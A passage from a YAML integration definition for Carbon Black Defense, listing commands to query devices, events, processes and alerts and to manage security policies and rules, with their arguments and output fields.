    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.LastInternalIpAddress
      description: Last Internal IpAddress
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.Name
      description: Name
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.PolicyName
      description: Policy Name
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.SensorOutOfDate
      description: Sensor Out OfDate
    - contextPath: CarbonBlackDefense.GetDevicesStatus.Results.TestId
      description: Test Id
    description: 'Get a status of all devices. Optionally you can include a query parameter to filter the results. Combining these query parameters is an implicit “AND”. '
  - name: cbd-get-device-status
    arguments:
    - name: deviceId
      required: true
      description: Individual device id.
    outputs:
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.TargetPriorityType
      description: Target Priority Type
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OrganizationId
      description: Organization Id
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.CreateTime
      description: Create Time
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceId
      description: Device Id
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Email
      description: Email
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastInternalIpAddress
      description: Last Internal IpAddress
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastLocation
      description: Last Location
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OsVersion
      description: Os Version
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.AvStatus
      description: AvStatus
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastExternalIpAddress
      description: Last External IpAddress
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RegisteredTime
      description: Registered Time
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastContact
      description: Last Contact
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Status
      description: Status
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.TestId
      description: Test Id
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.PolicyId
      description: Policy Id
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.UpdateVersion
      description: Update Version
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.OrganizationName
      description: Organization Name
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RootedByAnalytics
      description: Rooted ByAnalytics
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorVersion
      description: Sensor Version
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceType
      description: Device Type
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.PolicyName
      description: Policy Name
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.RootedByAnalyticsTime
      description: Rooted ByAnalytics Time
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorOutOfDate
      description: Sensor Out OfDate
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.SensorStates
      description: SensorStates
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Name
      description: Name
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.Id
      description: Id
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.LastReportedTime
      description: Last Reported Time
    - contextPath: CarbonBlackDefense.GetDeviceStatus.DeviceInfo.DeviceOwnerId
      description: Device Owner Id
    description: Retrieve details for an individual device given the device ID.
  - name: cbd-change-device-status
    arguments:
    - name: deviceId
      required: true
      description: The device id.
    - name: policyId
      description: Policy id.
    - name: policyName
      description: Policy name.
    description: 'Change status of an individual device by its device ID. The requested security policy can be indicated either as a policy ID (policyId) or policy name (policyName).The current revision of the Cb Defense backend only allows one element to be changed with this call: the security policy assigned to the device. For example policyName=Restrictive_Windows_Workstation'
  - name: cbd-find-events
    arguments:
    - name: hostName
      description: 'Query parameter. Filter on hostnames case insensitive. '
    - name: hostNameExact
      description: Query parameter. Filter on the exact hostname
    - name: ownerName
      description: Query parameter. Filter on owner name case insensitive.
    - name: ownerNameExact
      description: Query parameter. Same as ownerName but with case sensitivity
    - name: ipAddress
      description: Query parameter. Filter on events generated by a device with a given external or internal IP address
    - name: sha256Hash
      description: Query parameter. Filter on events generated by a process with the given SHA-256 hash. Note that this hash must be lowercase.
    - name: applicationName
      description: Query parameter. Filter on events generated by a process with the given application name. Note that this name must be lowercase
    - name: eventType
      auto: PREDEFINED
      predefined:
      - NETWORK
      - FILE_CREATE
      - REGISTRY_ACCESS
      - SYSTEM_API_CALL
      - CREATE_PROCESS
      - DATA_ACCESS
      - INJECT_CODE
      description: Query parameter. Filter on events with a given event type.
    - name: searchWindow
      description: 'Query parameter. Filter on events generated within a given relative time frame. Note that the default is one day if a searchWindow is not specified. Note that events may not be available past 30 days due to retention policies. '
    - name: start
      description: Wanted first row number from the result (starting from 1).
    - name: rows
      description: Wanted maximum number of rows from the result. This parameter can be limited on the Cb Defense server side.
    outputs:
    - contextPath: CarbonBlackDefense.FindEvents.Results.EventType
      description: Event Type
    - contextPath: CarbonBlackDefense.FindEvents.Results.ProcessDetails.MilisSinceProcessStart
      description: Milis Since Process Start
    - contextPath: CarbonBlackDefense.FindEvents.Results.ProcessDetails.Name
      description: Name
    - contextPath: CarbonBlackDefense.FindEvents.Results.ProcessDetails.PrivatePid
      description: Private Pid
    - contextPath: CarbonBlackDefense.FindEvents.Results.ProcessDetails.ProcessId
      description: Process Id
    - contextPath: CarbonBlackDefense.FindEvents.Results.ShortDescription
      description: Short Description
    - contextPath: CarbonBlackDefense.FindEvents.Results.CreateTime
      description: Create Time
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceName
      description: Device Name
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceVersion
      description: Device Version
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.PolicyName
      description: Policy Name
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.TargetPriorityType
      description: Target Priority Type
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.AgentLocation
      description: Agent Location
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceId
      description: Device Id
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceIpV4Address
      description: Device IpV4Address
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.AreaCode
      description: Area Code
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.CountryCode
      description: Country Code
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.Latitude
      description: Latitude
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.Longitude
      description: Longitude
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.City
      description: City
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.CountryName
      description: Country Name
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.DmaCode
      description: Dma Code
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.MetroCode
      description: Metro Code
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.PostalCode
      description: Postal Code
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceLocation.Region
      description: Region
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceIpAddress
      description: Device IpAddress
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.DeviceType
      description: Device Type
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.Email
      description: Email
    - contextPath: CarbonBlackDefense.FindEvents.Results.DeviceDetails.TargetPriorityCode
      description: Target Priority Code
    - contextPath: CarbonBlackDefense.FindEvents.Results.EventId
      description: Event Id
    - contextPath: CarbonBlackDefense.FindEvents.Results.EventTime
      description: Event Time
    - contextPath: CarbonBlackDefense.FindEvents.Results.LongDescription
      description: Long Description
    - contextPath: CarbonBlackDefense.FindEvents.Results.NetFlow.DestAddress
      description: Dest Address
    - contextPath: CarbonBlackDefense.FindEvents.Results.NetFlow.DestPort
      description: Dest Port
    - contextPath: CarbonBlackDefense.FindEvents.Results.NetFlow.PeerFqdn
      description: Peer Fqdn
    - contextPath: CarbonBlackDefense.FindEvents.Results.NetFlow.PeerIpAddress
      description: Peer IpAddress
    - contextPath: CarbonBlackDefense.FindEvents.Results.NetFlow.PeerIpV4Address
      description: Peer IpV4Address
    - contextPath: CarbonBlackDefense.FindEvents.Results.NetFlow.Service
      description: Service
    - contextPath: CarbonBlackDefense.FindEvents.Results.NetFlow.SourceAddress
      description: Source Address
    - contextPath: CarbonBlackDefense.FindEvents.Results.NetFlow.SourcePort
      description: Source Port
    - contextPath: CarbonBlackDefense.FindEvents.Results.SelectedApp.ApplicationName
      description: Application Name
    - contextPath: CarbonBlackDefense.FindEvents.Results.SelectedApp.ApplicationPath
      description: Application Path
    - contextPath: CarbonBlackDefense.FindEvents.Results.SelectedApp.Md5Hash
      description: Md5Hash
    - contextPath: CarbonBlackDefense.FindEvents.Results.SelectedApp.Sha256Hash
      description: Sha256Hash
    - contextPath: CarbonBlackDefense.FindEvents.Results.ThreatIndicators
      description: Threat Indicators
    description: Retrieves all events matching the input search criteria.
  - name: cbd-find-event
    arguments:
    - name: eventId
      required: true
      description: The event id.
    outputs:
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ShortDescription
      description: Short Description
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.TargetHash.ApplicationName
      description: Application Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.TargetHash.ReputationProperty
      description: Reputation Property
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.TargetHash.Sha256Hash
      description: Sha256Hash
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.EventType
      description: Event Type
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.Md5Hash
      description: Md5Hash
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.Sha256Hash
      description: Sha256Hash
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.ApplicationPath
      description: Application Path
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.ReputationProperty
      description: Reputation Property
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessHash.ApplicationName
      description: Application Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.OrgDetails.OrganizationId
      description: Organization Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.OrgDetails.OrganizationName
      description: Organization Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.OrgDetails.OrganizationType
      description: Organization Type
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ParentHash.ApplicationName
      description: Application Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ParentHash.Sha256Hash
      description: Sha256Hash
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.EventId
      description: Event Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.LongDescription
      description: Long Description
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceIpV4Address
      description: Device IpV4Address
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceType
      description: Device Type
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.Email
      description: Email
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.TargetPriorityCode
      description: Target Priority Code
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.AgentLocation
      description: Agent Location
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceHostName
      description: Device Host Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceId
      description: Device Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.GroupName
      description: Group Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceVersion
      description: Device Version
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.TargetPriorityType
      description: Target Priority Type
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceIpAddress
      description: Device IpAddress
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.Latitude
      description: Latitude
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.City
      description: City
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.CountryCode
      description: Country Code
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.DmaCode
      description: Dma Code
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.Longitude
      description: Longitude
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.MetroCode
      description: Metro Code
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.PostalCode
      description: Postal Code
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.Region
      description: Region
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.AreaCode
      description: Area Code
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceLocation.CountryName
      description: Country Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.DeviceDetails.DeviceName
      description: Device Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.CreateTime
      description: Create Time
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.EventTime
      description: Event Time
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.FullUserName
      description: Full User Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.Name
      description: Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ParentCommandLine
      description: Parent Command Line
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ParentName
      description: Parent Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ParentPid
      description: Parent Pid
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ProcessId
      description: Process Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.CommandLine
      description: Command Line
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.MilisSinceProcessStart
      description: Milis Since Process Start
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.TargetCommandLine
      description: Target Command Line
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.TargetPid
      description: Target Pid
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.UserName
      description: User Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.ParentPrivatePid
      description: Parent Private Pid
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.PrivatePid
      description: Private Pid
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.TargetName
      description: Target Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ProcessDetails.TargetPrivatePid
      description: Target Private Pid
    - contextPath: CarbonBlackDefense.GetAlertDetails.EventInfo.ThreatIndicators
      description: Threat Indicators
    description: 'Retrieve details for an individual event given the event ID '
  - name: cbd-find-processes
    arguments:
    - name: hostNameExact
      description: 'Query parameter. Filter on hostnames case insensitive. '
    - name: ownerName
      description: Query parameter. Filter on owner name case insensitive.
    - name: ownerNameExact
      description: Query parameter. Same as ownerName but with case sensitivity
    - name: ipAddress
      description: Query parameter. Filter on events generated by a device with a given external or internal IP address
    - name: searchWindow
      description: 'Query parameter. Filter on events generated within a given relative time frame. Note that the default is one day if a searchWindow is not specified. Note that events may not be available past 30 days due to retention policies. '
    - name: start
      description: Wanted first row number from the result (starting from 1).
    - name: rows
      description: Wanted maximum number of rows from the result. This parameter can be limited on the Cb Defense server side.
    outputs:
    - contextPath: CarbonBlackDefense.GetProcesses.ApplicationName
      description: Application name
    - contextPath: CarbonBlackDefense.GetProcesses.ProcessId
      description: Process id
    - contextPath: CarbonBlackDefense.GetProcesses.NumEvents
      description: Number of events
    - contextPath: CarbonBlackDefense.GetProcesses.ApplicationPath
      description: Application path
    - contextPath: CarbonBlackDefense.GetProcesses.PrivatePid
      description: Private pid
    - contextPath: CarbonBlackDefense.GetProcesses.Sha256Hash
      description: sha256Hash
    - contextPath: CarbonBlackDefense.GetProcesses.TotalResults
      description: Total results
    description: Find processes associated with a specific indicator or IP address filter. Only API keys of type “API” can call the processes API.
  - name: cbd-get-alert-details
    arguments:
    - name: alertId
      required: true
      description: The alert id
    outputs:
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.DeviceType
      description: Device Type
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.Group
      description: Group
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.GroupId
      description: Group Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.RegisteredTime
      description: Registered Time
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.DeviceId
      description: Device Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.DeviceName
      description: Device Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.Status
      description: Status
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.OsVersion
      description: Os Version
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.SensorVersion
      description: Sensor Version
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.UserName
      description: User Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.Importance
      description: Importance
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.Message
      description: Message
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.DeviceInfo.Success
      description: Success
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ParentHash
      description: Parent Hash
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.PolicyState
      description: Policy State
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.LongDescription
      description: Long Description
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.CommandLine
      description: Command Line
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ParentPid
      description: Parent Pid
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ProcessId
      description: Process Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ThreatIndicators
      description: Threat Indicators
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ApplicationPath
      description: Application Path
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ProcessHash
      description: Process Hash
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ProcessMd5Hash
      description: Process Md5Hash
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.EventId
      description: Event Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.EventTime
      description: Event Time
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.EventType
      description: Event Type
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.KillChainStatus
      description: Kill Chain Status
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ParentName
      description: Parent Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ParentPPid
      description: ParentP Pid
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.Events.ProcessPPid
      description: ProcessP Pid
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.ThreatInfo.IncidentId
      description: Incident Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.ThreatInfo.Indicators.ApplicationName
      description: Application Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.ThreatInfo.Indicators.IndicatorName
      description: Indicator Name
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.ThreatInfo.Indicators.Sha256Hash
      description: Sha256Hash
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.ThreatInfo.Summary
      description: Summary
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.ThreatInfo.ThreatId
      description: Threat Id
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.ThreatInfo.ThreatScore
      description: Threat Score
    - contextPath: CarbonBlackDefense.GetAlertDetails.DeviceInfo.ThreatInfo.Time
      description: Time
    description: Get details on the events that led to an alert. This includes retrieving metadata around the alert as well as a list of all the events associated with the alert. Only API keys of type “API” can call the alerts API.
  - name: cbd-get-policies
    arguments: []
    outputs:
    - contextPath: CarbonBlackDefense.GetPolicies.Id
      description: The policy id.
    - contextPath: CarbonBlackDefense.GetPolicies.PriorityLevel
      description: The policy priority level.
    - contextPath: CarbonBlackDefense.GetPolicies.SystemPolicy
      description: Is system policy (boolean).
    - contextPath: CarbonBlackDefense.GetPolicies.LatestRevision
      description: Policy latest revision.
    - contextPath: CarbonBlackDefense.GetPolicies.Policy
      description: The policy object.
    description: Get the list of policies available in your organization.
  - name: cbd-get-policy
    arguments:
    - name: policyId
      required: true
      description: The policy id.
    outputs:
    - contextPath: CarbonBlackDefense.GetPolicy.Id
      description: The policy id.
    - contextPath: CarbonBlackDefense.GetPolicy.PriorityLevel
      description: The policy priority level.
    - contextPath: CarbonBlackDefense.GetPolicy.SystemPolicy
      description: Is system policy (boolean).
    - contextPath: CarbonBlackDefense.GetPolicy.LatestRevision
      description: Policy latest revision.
    - contextPath: CarbonBlackDefense.GetPolicy.Policy
      description: The policy object.
    description: Retrieve a policy object by ID.
  - name: cbd-create-policy
    arguments:
    - name: description
      required: true
      description: A description of the policy
    - name: name
      required: true
      description: A one-line name for the policy
    - name: priorityLevel
      required: true
      auto: PREDEFINED
      predefined:
      - HIGH
      - MEDIUM
      - LOW
      description: The priority score associated with sensors assigned to this policy.
    - name: policy
      required: true
      description: The JSON object containing the policy details. Make sure a valid policy object is passed. You may use 'get-policy' in order to receive a similar policy object, then re-set some of the policy's fields with 'set-policy'. Finally pass the mutated object.
    outputs:
    - contextPath: CarbonBlackDefense.CreatePolicy.PolicyId
      description: The new policy id.
    description: Create a new Policy on the Cb Defense backend.
  - name: cbd-update-policy
    arguments:
    - name: description
      required: true
      description: A description of the policy.
    - name: name
      required: true
      description: A one-line name for the policy.
    - name: priorityLevel
      required: true
      auto: PREDEFINED
      predefined:
      - HIGH
      - MEDIUM
      - LOW
      description: The priority score associated with sensors assigned to this policy.
    - name: id
      required: true
      description: The ID of the policy to replace.
    - name: policy
      required: true
      description: The JSON object containing the policy details. The JSON object containing the policy details. Make sure a valid policy object is passed. You may use 'get-policy' in order to receive the policy object you wish to update, then re-set some of the policy's fields with 'set-policy'. Finally pass the mutated object.
    description: Update an existing policy with a new policy. Please note that system policies cannot be modified.
  - name: cbd-delete-policy
    arguments:
    - name: policyId
      required: true
      description: The policy id.
    description: Delete a policy from the Cb Defense backend. This may return an error if devices are actively assigned to the policy id requested for deletion. Please note that system policies cannot be deleted.
  - name: cbd-add-rule-to-policy
    arguments:
    - name: action
      required: true
      description: Rule action.
    - name: operation
      required: true
      description: Rule operation.
    - name: required
      required: true
      auto: PREDEFINED
      predefined:
      - "false"
      - "true"
      description: Rule required
    - name: id
      required: true
      description: Rule id.
    - name: type
      required: true
      description: Application type.
    - name: value
      required: true
      description: Application value.
    - name: policyId
      required: true
      description: The policy id.
    description: Add a new rule to an existing policy. Please note that system policies cannot be modified.
  - name: cbd-delete-rule-from-policy
    arguments:
    - name: policyId
      required: true
      description: The policy id.
    - name: ruleId
      required: true
      description: The rule id.
    description: Removes a rule from an existing policy. Please note that system policies cannot be modified.
  - name: cbd-update-rule-in-policy
    arguments:
    - name: action
      required: true
      description: Rule action.
    - name: operation
      required: true
      description: Rule operation.
    - name: required
      required: true
      auto: PREDEFINED
      predefined:
      - "true"
      - "false"
      description: Rule required
    - name: id
      required: true
      description: Rule id.
    - name: type
      required: true
      description: Application type.
    - name: value
      required: true
      description: Application value.
    - name: policyId
      required: true
      description: The policy id.
    description: Update an existing rule with a new rule. Please note that system policies cannot be modified.
  - name: cbd-set-policy
    arguments:
    - name: keyValue
      required: true
      description: 'A json object that holds key/value pairs. Key is the field path in the policy object you wish to update with value.  '
    - name: policy
      required: true
      description: 'The policy to be set. '
    outputs:
    - contextPath: CarbonBlackDefense.SetPolicy.Policy
      description: The modified policy
    description: Re-set policy fields.
  isfetch: true
tests:
- No test
fromversion: 5.0.0